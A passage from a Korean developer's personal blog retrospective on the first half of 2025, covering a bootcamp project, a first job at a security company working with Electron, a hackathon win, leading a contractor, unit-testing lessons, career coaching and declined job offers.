<li>API 응답 객체 기준 설계</li>
<li>UX 흐름을 고려한 폼 컴포넌트 재사용</li>
<li>Lighthouse 퍼포먼스 최적화</li>
<li>eslint/prettier 통일</li>
<li>테스트 코드 작성</li>
</ul>
<p>그리고 무엇보다 처음으로 <strong>멘토링을 받았습니다.</strong></p>
<p>멘토님의 피드백은 솔직히 말하면... <strong>좀 무섭기도 했어요.</strong></p>
<p>“이런 구조는 유지보수가 어렵겠죠?”,</p>
<p>“이 부분, 왜 이렇게 작성했는지 설명해보세요.”</p>
<p>그런데 그 무서움 속에서 제가 진짜 성장하고 있다는 걸 느낄 수 있었어요.</p>
<hr>
<h3 id="질문이-두려웠지만-성장하고-있었다">&#39;질문이 두려웠지만, 성장하고 있었다&#39;</h3>
<p>처음엔 질문하는 것도 어려웠습니다.</p>
<p>&quot;이거 너무 기본적인 질문 아닌가?&quot;</p>
<p>&quot;내가 왜 이걸 모르지?&quot;</p>
<p>이런 생각이 수시로 들었거든요.</p>
<p>그런데 용기 내서 질문하고,</p>
<p>피드백을 기록하고 적용하는 걸 반복하다 보니</p>
<p><strong>정말 시야가 넓어졌습니다.</strong></p>
<p><strong>“기능 구현을 넘어, 생각하는 개발자가 되어간다.”</strong></p>
<p>이걸 처음으로 체감한 순간들이었어요.</p>
<hr>
<h3 id="그리고-시간은-남고-리팩토링은-시작되었다">그리고... 시간은 남고, 리팩토링은 시작되었다</h3>
<p>사실 저희 프로젝트는 <strong>꽤 일찍 완성됐습니다.</strong></p>
<p>그래서 남은 기간엔 오롯이 <strong>리팩토링과 구조 개선</strong>에 집중할 수 있었어요.</p>
<p>코드의 응집도를 높이고,</p>
<p>비즈니스 로직과 UI 분리를 연습하고,</p>
<p>컴포넌트 재사용과 분리 기준도 고민했죠.</p>
<p>또한</p>
<p><strong>정말 좋은 동료 개발자 친구들</strong>을 만난 것도 큰 수확이었습니다.</p>
<p>서로 코드리뷰하고, 에러 공유하고,</p>
<p>밤 늦게까지 디버깅하며 생긴 유대감은 아직도 기억에 남아요.</p>
<blockquote>
<p>이때의 회고는 여기 👉</p>
<p><a href="https://velog.io/@songyeonji_/FitMon-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EB%B0%8F-%EC%BD%94%EB%93%9C%EC%9E%87-%EB%8B%A8%EA%B8%B0-%EC%8B%AC%ED%99%94-6%EA%B8%B0-%ED%95%99%EC%8A%B5-%ED%9A%8C%EA%B3%A0%EB%A1%9D">FitMon 프로젝트 및 코드잇 단기심화 회고</a></p>
</blockquote>
<hr>
<h2 id="🚀-2월--발표-입사-해커톤-진짜-미쳤던-한-달">🚀 2월 — 발표, 입사, 해커톤, 진짜 미쳤던 한 달</h2>
<p>1월의 고요하고 밀도 높은 성장기가 끝나자,</p>
<p>2월은 정말 말 그대로 <strong>폭풍처럼 몰아쳤습니다.</strong></p>
<h3 id="fitmon-발표--준비는-마쳤고-자랑할-시간">FitMon 발표 — 준비는 마쳤고, 자랑할 시간</h3>
<p>2월 초엔 FitMon 프로젝트의 발표와 정리 과정을 마무리했습니다.</p>
<p>그동안 정리한 구조와 코드, 성능 최적화 포인트들을</p>
<p>발표 자료로 만들고 정리하면서</p>
<p>“아, 이 프로젝트는 정말 자랑할 수 있겠다”는 자신감이 생겼어요.</p>
<p>프로젝트를 남에게 설명할 수 있다는 건</p>
<p>그걸 충분히 이해했다는 뜻이잖아요?</p>
<p>그게 제겐 <strong>작지만 확실한 자존감 회복</strong>이었어요.</p>
<hr>
<h3 id="2월-17일-첫-출근--이제부터는-진짜-실전이다">2월 17일, 첫 출근 — 이제부터는 진짜 실전이다</h3>
<p>그리고 드디어 2월 17일,</p>
<p><strong>보안 솔루션 회사에 첫 출근</strong>을 했습니다.</p>
<p>사실 입사 전까지만 해도</p>
<p>“내가 괜찮은 회사에 가는 게 맞을까?”</p>
<p>“기술적으로 도태되진 않았을까?”</p>
<p>이런 고민들이 있었지만,</p>
<p>첫 출근날 느꼈어요.</p>
<p><strong>“아, 여기서도 나는 계속 배울 수 있겠구나.”</strong></p>
<p>Electron 기반의 프로젝트,</p>
<p>보안 도메인이라는 낯선 분야,</p>
<p>내가 해보지 않은 구조들…</p>
<p>“할 게 너무 많다 = 재밌겠다.”</p>
<p>그게 제 첫 느낌이었습니다.</p>
<hr>
<h3 id="그런데-동시에-엘리스-해커톤도-붙어버렸다">그런데 동시에... 엘리스 해커톤도 붙어버렸다</h3>
<p>네… 맞아요…</p>
<p>이 타이밍에 <strong>엘리스 AI Spark Camp 해커톤</strong>도 붙어버렸습니다 😅</p>
<p>주제는 생성형 AI였고,</p>
<p>제가 제안한 아이디어인</p>
<p><strong>“블로그 URL만 넣으면 영상 자동 생성”</strong>이 채택됐습니다.</p>
<p>그래서 퇴근하고 밤 11시까지는</p>
<p><strong>AI 프로젝트를 개발</strong>,</p>
<p>주말엔 <strong>팀 회의와 테스트</strong>,</p>
<p>출근하면 <strong>보안 솔루션 개발</strong>…</p>
<p><strong>숨 쉴 틈이 없었습니다.</strong></p>
<p>그런데 이상하죠?</p>
<p>힘든데도 불구하고,</p>
<p>정말 너무 재밌었습니다.</p>
<hr>
<h3 id="최우수상-그리고-자동화의-맛">최우수상, 그리고 자동화의 맛</h3>
<p>그 프로젝트에서</p>
<p>저는 처음으로 Vercel, GitHub Actions를 연동해서</p>
<p><strong>자동화 배포</strong>를 경험했고,</p>
<p>프롬프트 기반 영상 API 설계에도 참여하면서</p>
<p>AI와 프론트의 만남을 직접 체험할 수 있었습니다.</p>
<p>리팩토링을 못 한 건 아쉽지만,</p>
<p>그래도 <strong>최우수상</strong>이라는 결과로 마무리되면서</p>
<p>“이 미친 일정, 정말 보람 있었구나” 싶었어요.</p>
<blockquote>
<p>AI Spark Camp 해커톤 회고 보기
<a href="https://velog.io/@songyeonji_/%EC%97%98%EB%A6%AC%EC%8A%A4-AI-Spark-Camp-%ED%95%B4%EC%BB%A4%ED%86%A4-%ED%9A%8C%EA%B3%A0%EB%A1%9D">엘리스 AI-Spark-Camp 해커톤 회고록</a></p>
</blockquote>
<hr>
<h3 id="요약하면">요약하면…</h3>
<p>2월은 한 마디로 정리하면 이랬습니다.</p>
<blockquote>
<p>“정신은 없었지만, 진짜 내가 살아있다는 느낌이 났다.”</p>
</blockquote>
<p>코드잇에서 쌓은 자신감으로 현업에 뛰어들었고,</p>
<p>퇴근 후에는 창의성과 열정을 쏟아부었고,</p>
<p>그 와중에 좋은 동료와 멘토를 만나며 성장했습니다.</p>
<h2 id="💻-3월--electron-입문과-현실-기획-그리고-이게-진짜-개발자의-일인가요">💻 3월 — Electron 입문과 현실 기획, 그리고 “이게 진짜 개발자의 일인가요…?”</h2>
<p>3월은 제게 있어</p>
<p><strong>“이게 실무구나”를 처음으로 체감한 한 달</strong>이었습니다.</p>
<p>그 전 직장은 체계나 이런것들이 부족해서 몰랐거든요. 
이번 회사에서Electron 프로젝트에 본격 투입된 건 좋았는데,</p>
<p>그 안에서 제가 맡게 된 일은 단순한 기능 개발이 아니었어요.</p>
<hr>
<h3 id="nextjs-미지원-라우팅-직접-구성하세요">Next.js 미지원? 라우팅 직접 구성하세요~</h3>
<p>Electron을 처음 접했을 땐</p>
<p>“오 신기하다, 데스크탑 앱이야!” 하며 설렜지만</p>
<p>금방 현실이 저를 때렸습니다.</p>
<blockquote>
<p>“Electron은 Next.js 안 돼요.”</p>
</blockquote>
<p>😇 …?</p>
<p>라우팅 자동화도 없고,</p>
<p>스크롤 위치도 수동으로 초기화해야 하고,</p>
<p>상태 공유도 직접 구성해야 했습니다.</p>
<p>그래서 라우터는 <code>react-router-dom</code>으로 구성하고,</p>
<p>레이아웃도 직접 갈라야 했고,</p>
<p>페이지마다 <strong>사이드바 유무, 알림 유무, 접근 권한 여부</strong> 등을 직접 조건부로 걸어야 했죠.</p>
<p>진짜 귀찮았지만,</p>
<p>그래도 “이게 프론트엔드 기본기다”라고 생각하면서 배워나갔습니다.</p>
<hr>
<h3 id="근데-그보다-더-힘들었던-건-문서였습니다">근데 그보다 더 힘들었던 건… 문서였습니다</h3>
<p>이때부터 제가 <strong>처음으로 실무 문서를 직접 작성</strong>하게 됐습니다.</p>
<p>그냥 요구사항 적는 수준이 아니라</p>
<p><strong>진짜 ‘기획자처럼’ 정리하는 문서들</strong>이었어요.</p>
<ul>
<li><p><strong>사용자 정의서</strong>:</p>
<p>  이 기능은 누가 언제 어떤 조건에서 사용할 수 있는지,</p>
<p>  경고 메시지는 어떻게 뜨는지, 동작 흐름은 어떻게 되는지를 하나하나 정리</p>
</li>
<li><p><strong>사용자 인터페이스 설계서 (UI 설계서)</strong>:</p>
<p>  버튼 하나, 드롭다운 하나의 상태 변화까지 전부 작성.</p>
<p>  빈 화면일 때는 어떻게 표시되는지, 경고 배너는 언제 나타나는지 등</p>
</li>
<li><p><strong>메뉴 구조 리스트</strong>:</p>
<p>  전체 앱의 좌측 사이드바 구조를 트리 형태로 정리하고,</p>
<p>  접근 권한별로 보이는/안 보이는 메뉴 구분</p>
</li>
<li><p><strong>알림 정의서</strong>:</p>
<p>  어떤 이벤트에 어떤 메시지가, 어떤 타이밍에 어떤 위치에서 떠야 하는지를 일일이 명시</p>
</li>
<li><p><strong>프로그램 명세서</strong>:</p>
<p>  어떤 파일이 어떤 기능을 담당하고,</p>
<p>  내부 API 호출 흐름은 어떻게 되며,</p>
<p>  로그는 어디에 저장되는지까지 다 작성</p>
</li>
</ul>
<p>처음에는 진짜 멘붕이었습니다.</p>
<blockquote>
<p>“개발자가 코드를 안 짜고 왜 이런 걸 쓰고 있지…?”</p>
</blockquote>
<hr>
<h3 id="그런데-문서를-쓰면서-시야가-확장됐다">그런데 문서를 쓰면서 시야가 확장됐다</h3>
<p>하지만 이상하게도</p>
<p>하루 이틀 쓰다 보니 어느 순간 느꼈습니다.</p>
<blockquote>
<p>“이 문서들 덕분에 내가 지금 프로젝트 전체를 이해하고 있구나.”</p>
</blockquote>
<p>단순히 기능을 ‘어떻게’ 구현하는지를 넘어서,</p>
<p><strong>왜 이 기능이 필요한지</strong>,</p>
<p><strong>어떤 예외 케이스를 고려해야 하는지</strong>,</p>
<p><strong>내가 만든 코드가 누구에게 어떤 영향을 주는지</strong>를</p>
<p>정확히 고민하게 되었어요.</p>
<p>그리고 <strong>이런 문서들이 QA, 백엔드, 다른 개발자들과의 소통을 위한 진짜 도구</strong>라는 걸 처음으로 깨달았습니다.</p>
<hr>
<h3 id="내가-코드만-잘-짜면-되는-줄-알았는데">“내가 코드만 잘 짜면 되는 줄 알았는데…”</h3>
<p>이전까지는 솔직히</p>
<p>코드만 잘 짜면 된다고 생각했어요.</p>
<p>근데 3월을 지나고 나니까</p>
<p><strong>코드는 말의 일부일 뿐이라는 걸 체감</strong>했어요.</p>
<ul>
<li>문서를 통해 스펙을 설계하고</li>
<li>회의를 통해 기획을 조율하고</li>
<li>기록을 통해 협업을 유지하고</li>
<li>구현을 통해 책임을 완성하는 것</li>
</ul>
<p>이게 진짜 실무 개발자의 흐름이라는 걸요.</p>
<hr>
<h3 id="주말엔-나만의-electron-공부-시간">주말엔 나만의 Electron 공부 시간</h3>
<p>그래서 주중엔 문서, 회의, 조율…</p>
<p>그리고 <strong>주말엔 나만의 개발 시간이었습니다.</strong></p>
<ul>
<li><code>main.ts</code>, <code>preload.ts</code>의 구조</li>
<li>contextBridge 통한 IPC API 연결</li>
<li>트레이 아이콘 추가</li>
<li>자동 실행 등록</li>
<li><code>.exe</code>로 배포하는 과정까지</li>
</ul>
<p>주말마다 하나씩 실험하면서</p>
<p><strong>진짜 “내가 데스크탑 앱을 만들고 있다”는 자각</strong>이 들었어요.</p>
<p>솔직히 꽤 짜릿했습니다. 😎</p>
<hr>
<h3 id="요약하자면">요약하자면...</h3>
<blockquote>
<p>3월은 “개발자는 코딩만 하지 않는다”는 걸,</p>
<p>그리고 “문서도 코드다”라는 걸</p>
<p>몸으로 배운 한 달이었습니다.</p>
</blockquote>
<p>덕분에 이제는 문서 작성에도 자신감이 생겼고,</p>
<p>사람들과 기능을 논의할 때</p>
<p><strong>기획-개발-디자인-사용자</strong> 전반을 고려하는 시야가 생겼습니다.
사실 이때 사람들이 개발 할 시간 없다 없다 하는걸 이해했습니다. 하하…</p>
<h2 id="🏫-4월--9년-차-용역-개발자를-리딩하다니-내가-이걸-진짜-해내네">🏫 4월 — 9년 차 용역 개발자를 리딩하다니, 내가 이걸 진짜 해내네?</h2>
<p>4월의 키워드는 단연 <strong>‘용역관리’</strong>였습니다.</p>
<p>그냥 개발자 역할을 수행하던 제가,</p>
<p><strong>처음으로 누군가를 관리하고 리딩하는 입장</strong>이 된 거죠.</p>
<p>게다가 상대는... 무려 <strong>9년 차 개발자</strong>였습니다. 😳</p>
<h3 id="제가-이걸-맡아야-하나요">“제가 이걸 맡아야 하나요…?”</h3>
<p>솔직히 처음엔 너무 부담스러웠어요.</p>
<p>“내가 잘못된 피드백을 주면 어쩌지?”</p>
<p>“말투가 날카로워 보이면 실례 아닐까?”</p>
<p>이런 생각이 머릿속에서 빙글빙글 돌았습니다.</p>
<p>하지만 시간이 지날수록 점점 명확해졌어요.</p>
<ul>
<li>개발 연차와 실무 감각은 별개다</li>
<li>기술적으로 리딩이 필요한 건 사실이다</li>
<li>그리고 지금 내가 <strong>이끌지 않으면 프로젝트가 안 굴러간다</strong></li>
</ul>
<p>그래서 저는 용기를 내기로 했고,</p>
<p>문서 하나하나 작성하면서</p>
<p>전체 흐름을 정리하고,</p>
<p>할 일들을 일간/주간 단위로 쪼개서 공유하고,</p>
<p>그분께 코드 리뷰도 조심스럽게 요청하기 시작했어요.</p>
<p>물론 처음엔 어색했지만,</p>
<p>그분이 정말 <strong>너무 착하고 열린 분</strong>이라서 다행히 잘 풀려나갔어요.</p>
<hr>
<h3 id="기술보다-더-어려운-것-사람과의-거리">기술보다 더 어려운 것: 사람과의 거리</h3>
<p>이 일을 하면서 깨달은 건</p>
<p>“리딩은 기술보다 소통이 훨씬 어렵다”는 점이었어요.</p>
<p>실제로 제가 코드를 손대는 시간보다,</p>
<p><strong>할 일을 정의하고, 맞는 방향으로 유도하고, 감정을 조율하는 시간이 더 많았거든요.</strong></p>
<p>특히 제가 맡은 프로젝트는 단순한 페이지 개발이 아니라,</p>
<p>보안 정책과 시스템 흐름, 관리 기능을 통합한 중간 규모 프로젝트였기 때문에</p>
<p>이해관계자도 많고, 논의도 복잡했어요.</p>
<p>그래서 <strong>문서를 정리하고, 일정표를 공유하고, 회의록을 남기는 게 무기</strong>가 되었죠.</p>
<hr>
<h3 id="1년-차-같지-않다는-말">“1년 차 같지 않다”는 말</h3>
<p>그러다 어느 날,</p>
<p>그 용역분께서 이런 말씀을 해주셨어요.</p>
<blockquote>
<p>“사실 연지님 1년 차라고 하셔서 놀랐어요. 진짜 그렇게 안 느껴져요.”</p>
</blockquote>
<p>그 말을 듣고</p>
<p>살짝 눈물날 뻔했습니다. (진짜로요...)</p>
<hr>
<h3 id="도태되지-말자-스스로-다짐하다">도태되지 말자, 스스로 다짐하다</h3>
<p>하지만 동시에</p>
<p>그분을 보면서 느낀 것도 있어요.</p>
<p>9년 차임에도</p>
<p>최근 트렌드나 기술 스택에 익숙하지 못한 모습에서,</p>
<p><strong>“기술적으로 도태되면 안 된다”</strong>는 공포를 느꼈어요.</p>
<p>정말 죄송한 말이지만,</p>
<p>그게 저에겐 강한 자극이 되었습니다.</p>
<p><strong>“착하기만 해선 안 된다. 능력이 있어야 한다.”</strong></p>
<p>이 문장이 마음속에 박혀서</p>
<p>저는 이달부터 더더욱 공부하고 기록하기 시작했어요.</p>
<hr>
<h2 id="🧪-5월--단위-테스트의-철학-그리고-커리어-코칭">🧪 5월 — 단위 테스트의 철학, 그리고 커리어 코칭</h2>
<p>5월은 제 커리어에서 <strong>가장 빡세고 가장 큰 교훈</strong>을 준 시기였습니다.</p>
<p>요약하자면,</p>
<blockquote>
<p>“원래 용역분이 맡았던 프로젝트를, 결국 다시 제가 도맡게 되었습니다.”</p>
</blockquote>
<p>정확히 말하면…</p>
<p>원래도 제가 80%는 다 하고 있었어요.</p>
<p>하지만 보안 정책 처리, 문서화, QA 체크 등</p>
<p>“이건 용역분 몫”이었던 부분이 <strong>완성되지 못한 채</strong> 남게 됐고</p>
<p>결국 마지막까지 책임지고 다 해야 했던 겁니다.</p>
<hr>
<h3 id="si-방식의-민낯">SI 방식의 민낯</h3>
<p>이 시점에서 저는 처음으로</p>
<p><strong>SI 개발 방식의 현실적인 문제</strong>를 체감했습니다.</p>
<ul>
<li>단위 테스트? 거의 없음.</li>
<li>스펙 문서? 중간에 바뀌고 말로 전달됨.</li>
<li>기획자 피드백? 말로 말하고 말로 잊혀짐.</li>
<li>API 연결? 통합 테스트 하나로 퉁치기.</li>
</ul>
<p>처음엔 “이런 게 원래 그런가 보다” 했지만,</p>
<p>문제가 쌓이고 쌓이니까</p>
<p><strong>점점 시스템이 무너지고, 버그가 뻥뻥 터졌어요.</strong></p>
<p>그걸 다 조용히 뒷정리하고 있는 저 자신을 보면서</p>
<p>진심으로 빡쳤습니다 😇 (진심)</p>
<hr>
<h3 id="단위-테스트의-철학-mock부터-써라">단위 테스트의 철학: mock부터 써라</h3>
<p>그때 대표님께서 해주신 말씀이 있어요.</p>
<blockquote>
<p>“단위 테스트는 개발자의 철학이다.</p>
<p>mock 없이 API에 의존하는 테스트는, 개발자가 자신도 못 믿는다는 뜻이다.”</p>
</blockquote>
<p>이 말을 듣고, 진짜 머리를 한 대 맞은 기분이었어요.</p>
<p>그래서 저는 테스트 철학을 갈아엎었습니다.</p>
<p>✅ <strong>목데이터로 구성해서 유닛 단위로 동작 검증</strong></p>
<p>✅ 통합 테스트는 이후 단계</p>
<p>✅ API 실패/성공/지연 등 상태를 미리 상상하고 대응</p>
<p>✅ 테스트를 코드 설계의 일부로 받아들이기</p>
<p>이후부턴 제 코드에 자부심이 조금씩 생기기 시작했어요.</p>
<hr>
<h3 id="그리고-다시-마무리">그리고... 다시 마무리</h3>
<p>결국, 그 용역분과의 협업은 종료됐고</p>
<p>모든 QA 대응과 마무리는 제 몫이 되었습니다.</p>
<p>완벽하진 않았지만,</p>
<p>이 경험은 <strong>제가 리딩부터 기획, 설계, 테스트, 배포까지</strong></p>
<p>진짜로 <strong>‘혼자서 다 해봤다’</strong>는 자신감을 심어줬어요.</p>
<p>그리고 느꼈습니다.</p>
<p><strong>“이제 나는 진짜 개발자다.”</strong></p>
<p><strong>“이젠 누구의 보조가 아닌, 내가 중심인 프로젝트를 만들어가고 있다.”</strong></p>
<hr>
<h3 id="동시에-커리어-프로그램도-병행했습니다">동시에, 커리어 프로그램도 병행했습니다</h3>
<p>이 바쁜 와중에도,</p>
<p><strong>코드잇 커리어 프로그램</strong>을 병행하고 있었어요.</p>
<h3 id="이력서-피드백--정호영-멘토님의-현실적-조언">이력서 피드백 — 정호영 멘토님의 현실적 조언</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/b2c41354-6e70-4048-9d1a-3aee862680d6/image.png" alt=""></p>
<p>저는 이 과정에서</p>
<p><strong>카카오웹툰 프론트엔드 개발자 정호영님</strong>께</p>
<p><strong>이력서 피드백을 받았습니다.</strong></p>
<p>정말 꼼꼼하고 직설적인 피드백이 인상 깊었고,</p>
<p>제가 간과했던 부분들 — 예를 들어</p>
<p>“이건 구현은 했지만 결과만 적혀 있고, 과정이 없어요”</p>
<p>“협업 경험이라 쓰셨지만, 구체적인 협업 방식이 빠져 있어요”</p>
<p>같은 부분을 정확히 짚어주셨어요.</p>
<p>덕분에 이력서를 기술 중심 → 문제 해결 중심으로 고쳐 쓰게 되었고,</p>
<p><strong>‘내가 무엇을 했는가’보다
‘왜, 어떻게 했는가’를 쓰는 게 더 중요하구나</strong>를 처음 체감했습니다.</p>
<hr>
<h3 id="모의-면접--다른-멘토님과-진행한-현실-점검의-시간">모의 면접 — 다른 멘토님과 진행한 현실 점검의 시간</h3>
<p>이후에 진행된 <strong>모의 면접</strong>은</p>
<p>다른 프론트엔드 멘토님과 진행됐습니다.</p>
<p>그리고 이 시간이 제겐... 꽤 충격이었어요.</p>
<p>질문을 받을 땐 아는 것 같았는데,</p>
<p>막상 말하려니 <strong>단어가 안 나오고, 정리가 안 되더라구요.</strong></p>
<blockquote>
<p>“나는 기능은 만들 줄 아는데,</p>
<p>원리를 설명할 수는 없구나.”</p>
</blockquote>
<p><strong>“기초 개념이 튼튼하지 않으면, 결국 무너질 수밖에 없겠다.”</strong></p>
<p>이걸 뼈저리게 느꼈습니다.</p>
<p>지금도 시간을 쪼개서 하나씩 정리하고 있어요.</p>
<hr>
<h3 id="그리고-토스-광탈">그리고... 토스 광탈</h3>
<p>그렇게 코칭을 받으면서</p>
<p>“그래도 이참에 도전해보자!” 하고</p>
<p><strong>토스에 이력서를 넣어봤습니다.</strong></p>
<p>결과는요...</p>
<p><strong>광탈</strong>이었습니다. 😇</p>
<p>근데 웃긴 건,</p>
<p><strong>이번엔 진짜 괜찮았어요.</strong></p>
<p>왜냐면 그 전까지는</p>
<p>“떨어지면 내 커리어가 끝난 것 같고,</p>
<p>나는 못난 사람인가?” 같은 감정이 컸는데</p>
<p>이번엔 그냥</p>
<p><strong>&quot;내가 아직 준비 안 됐으니까 그렇지.
괜찮아, 다시 채우면 돼.”</strong>
이렇게 생각이 들더라고요.</p>
<hr>
<h3 id="정리하자면">정리하자면…</h3>
<blockquote>
<p>“5월은 기술적으로도, 정신적으로도</p>
<p>내가 진짜 성장을 시작한 시점이었다.”</p>
</blockquote>
<ul>
<li>용역 프로젝트에서 <strong>실제 리딩과 마무리를 경험</strong>했고</li>
<li>커리어 코칭을 통해 <strong>나의 얕음, 조급함, 욕심</strong>을 정면으로 마주했고</li>
<li>테스트와 협업 방식, <strong>개발자 마인드셋</strong>이 크게 성장했습니다.</li>
</ul>
<p>이때 느낀 감정, 배움은</p>
<p>그 어떤 포트폴리오보다 제 성장의 증거가 되었어요.</p>
<h2 id="🌀-6월--스카웃-제안-유혹-그리고-지금-이-자리를-지킨다는-것">🌀 6월 — 스카웃, 제안, 유혹… 그리고 “지금 이 자리를 지킨다는 것”</h2>
<p>6월은 뭔가 특별하게도,</p>
<p><strong>많은 제안이 한꺼번에 쏟아진 시기</strong>였습니다.</p>
<p>먼저,</p>
<p>예전에 함께 일했던 전 직장 상사에게 연락이 왔어요.</p>
<blockquote>
<p>“연지씨, 다시 같이 일해볼 생각 없어요?”</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/503b0ef6-3dc8-4b02-9b7a-b5220eceb148/image.png" alt=""></p>
<p>갑작스러운 연락에 놀라기도 했지만,</p>
<p>한편으로는 제가 회사에서의 실력과 태도를 좋게 봐주셨다는 뜻 같아서 감사했습니다.</p>
<p>그 뒤로는 진짜 정신없었어요.</p>
<p><strong>서울에서의 헤드헌터 연락</strong>,
<img src="https://velog.velcdn.com/images/songyeonji_/post/5c75da23-a785-4adf-92bc-d0a5b9bfafdd/image.png" alt=""></p>
<p><strong>클래스101에서 강의 제의</strong>,
<img src="https://velog.velcdn.com/images/songyeonji_/post/9b5a77e8-5449-4303-a816-4036cc5c610a/image.png" alt=""></p>
<p><strong>타 회사에서 &#39;연봉 800만 원 더 얹어줄게요&#39;라는 파격 제안</strong>까지.
<img src="https://velog.velcdn.com/images/songyeonji_/post/86e9cf72-75ec-4d96-b698-f3bf4b6df094/image.png" alt=""></p>
<p>800이라는 숫자,</p>
<p>솔직히 흔들렸어요.</p>
<p>연봉은 곧 제 가치처럼 느껴졌거든요.</p>
<p>“내가 이만큼 받아도 되나?” “받을 자격이 있을까?”</p>
<p>하지만 곰곰이 생각해봤어요.</p>
<hr>
<h3 id="지금-떠나면-내가-배울-수-있는-것들을-놓치는-건-아닐까">지금 떠나면, 내가 배울 수 있는 것들을 놓치는 건 아닐까?</h3>
<p>지금 회사에선</p>
<ul>
<li>Electron이라는 새로운 도전</li>
<li>엔진, 파이프, IPC라는 시스템 레벨의 경험</li>
<li>보안 도메인의 실무 지식</li>
<li>좋은 동료들</li>
</ul>
<p>이 모든 걸 함께하고 있는데</p>
<p><strong>너무 짧은 시간에 옮겨버리면, 이 소중한 것들을 제대로 흡수하지 못한 채 떠나는 건 아닐까?</strong></p>
<p>그런 마음이 들었어요.</p>
<p>한편으로는 나를 다시 찾아주는 사람도 있고,</p>
<p>기회를 주는 곳도 있다는 것이</p>
<p>“나, 나름 잘해왔구나” 싶은 작은 위로가 되기도 했습니다.</p>
<p>그동안 해왔던 선택이 틀리지 않았다는 걸,</p>
<p>조금은 증명받은 기분이랄까요.</p>
<p>지금 제 일상이 비록 힘들고 녹초가 될 때도 있지만,</p>
<p><strong>저는 여전히 재미있고, 배우고 있다는 걸 부정할 수 없었어요.</strong></p>
<p>그래서 저는</p>
<p><strong>제안들을 전부 정중하게 거절</strong>했습니다.</p>
<p>그리고 그 결정이</p>
<p>지금도 마음에 남습니다.</p>
<p>“잘했다”고 말해줄 수 있는 선택이었다고 생각해요.</p>
<hr>
<h2 id="🧠-총정리--나는-부족하고-욕심-많고-그래서-성장한다">🧠 총정리 — 나는 부족하고, 욕심 많고, 그래서 성장한다</h2>
<p>상반기를 다 돌아보고 나니 머릿속에 제일 많이 남는 감정은 이겁니다.</p>
<blockquote>
<p>“나는 부족하고, 욕심이 많고, 그래서 계속 성장하고 싶다.”</p>
</blockquote>
<p>저는 여전히</p>
<ul>
<li>서울로 가야 할까 고민하고,</li>
<li>좋은 회사에 가고 싶어 하면서도,</li>
<li>대전을 떠나기 싫어하고,</li>
<li>커리어도, 인간관계도, 사랑도, 다 지키고 싶어하는...</li>
</ul>
<p><strong>끝도 없이 고민하는 사람</strong>입니다.</p>
<p>누구는 “하나만 선택하라”고 하지만 </p>
<p>저는 여전히 <strong>모든 걸 욕심내는 사람</strong>이고</p>
<p>그 욕심 때문에 저는 <strong>움직이게 되고, 계속 배우게 되고, 결국에는 성장하게 된다고 믿어요.</strong></p>
<p>그리고 드디어 알게 된 사실 하나.</p>
<blockquote>
<p>“선택은 무섭지만, 아무것도 안 하는 건 더 무섭다.”</p>
</blockquote>
<p>그래서 이제는</p>
<p>미뤄왔던 개념 공부를 다시 시작하려고 해요.</p>
<p>어설픈 포트폴리오도 정리하고, 사이드 프로젝트도 하나하나 다시 점검하고,</p>
<p><strong>언젠가 꼭 가고 싶었던 회사들을 향해 하나씩 도전</strong>하려고 해요.</p>
<hr>
<p>그리고 한 가지 더.</p>
<p>개발자를 꿈꾼 지 벌써 <strong>3년</strong>,</p>
<p>개발자로 실제로 일을 한 지는 <strong>1년을 조금 넘은</strong> 지금,</p>
<p>한 가지 분명하게 말할 수 있는 게 있어요.</p>
<p>요즘 세상은 AI가 개발자를 없앨 거라고 말하곤 합니다.</p>
<p>그리고 저도 그 얘기를 들을 때마다 두려워요. 정말로요.</p>
<p>하지만 그럼에도 불구하고</p>
<p><strong>저는 여전히 ‘개발’이라는 일이 좋습니다.</strong></p>
<p>코드를 짜서 무언가가 <strong>제 손으로 완성될 때마다</strong>,</p>
<p>머릿속에서 도파민이, 심장에서 옥시토신이 뿜뿜합니다.</p>
<blockquote>
<p>그 짜릿한 이쾌감을 저는</p>
<p>앞으로도 <strong>내 힘이 닿는 데까지 계속 느끼고 싶어요.</strong></p>
</blockquote>
<p>AI가 개발자를 대체한다는 말, 이제는 익숙하죠. 저도 두려워요.</p>
<p>하지만 두려움에 가만히 있을 수는 없잖아요.</p>
<p>그래서 저는 <strong>AI를 두려워하기보다, 활용할 줄 아는 개발자가 되고 싶습니다.</strong></p>
<p>주판에서 계산기로, 수기에서 엑셀로 넘어갔듯</p>
<p>AI도 결국엔 <strong>“도구”일 뿐</strong>이고,</p>
<p><strong>도구는 잘 쓰는 사람이 이깁니다.</strong></p>
<p>처음 주판에서 계산기로, 수기에서 엑셀로 넘어갔듯</p>
<p>AI도 결국엔 <strong>“도구”일 뿐</strong>이니까요.</p>
<p>잡아먹히지 않기 위해선</p>
<p>계속 배우고, 변화에 반응하고, 스스로를 계속 단련해야 한다는 것도 알게 됐어요.</p>
<p>그래서 저는 지금도 계속 배우고 있어요.</p>
<p>이 직업, 끝없이 공부해야 하는 게 피곤할 때도 있지만</p>
<p>그만큼 <strong>계속 새롭고, 계속 재밌습니다.</strong></p>
<p>그래서 저는요,  <strong>다 지키는 욕심쟁이</strong>가 되고 싶습니다.</p>
<p>개발도 놓치고 싶지 않고,</p>
<p>내 사람들도 놓치고 싶지 않고,</p>
<p>좋은 커리어도 가지고 싶고,</p>
<p>내 삶도 지키고 싶어요.</p>
<p>겁도 나고, 욕심도 많고,</p>
<p>그래도 저는 <strong>계속 배우고 걸어가는 사람</strong>이고 싶습니다.</p>
<p>잡아먹히지 않기 위해,</p>
<p>계속 배우고, 계속 실험하고, 계속 도전할 거예요. 올 하반기에도 <strong>한 발짝씩 묵묵히 걸어가 볼 생각입니다.</strong></p>
<hr>
<h2 id="🎬-진짜-마무리">🎬 진짜 마무리</h2>
<p>2025년 상반기,</p>
<p>저는 무수히 많은 처음을 겪었습니다.</p>
<ul>
<li>처음으로 데스크탑 앱을 만들고</li>
<li>처음으로 9년 차 개발자를 리딩하고</li>
<li>처음으로 모든 프로젝트를 내 손으로 마무리하고</li>
<li>처음으로 나의 부족함을 명확히 인지하고</li>
<li>처음으로 커리어 코칭을 받으며 벽을 느끼고</li>
<li>그리고 처음으로 정말 많은 제안을 “거절”했습니다.</li>
</ul>
<p>이 모든 걸 통해</p>
<p>저는 <strong>단단해졌고, 더 넓어졌고, 더 겸손해졌습니다.</strong></p>
<p>누군가는 이 글을 보며 이렇게 말할 수도 있어요.</p>
<blockquote>
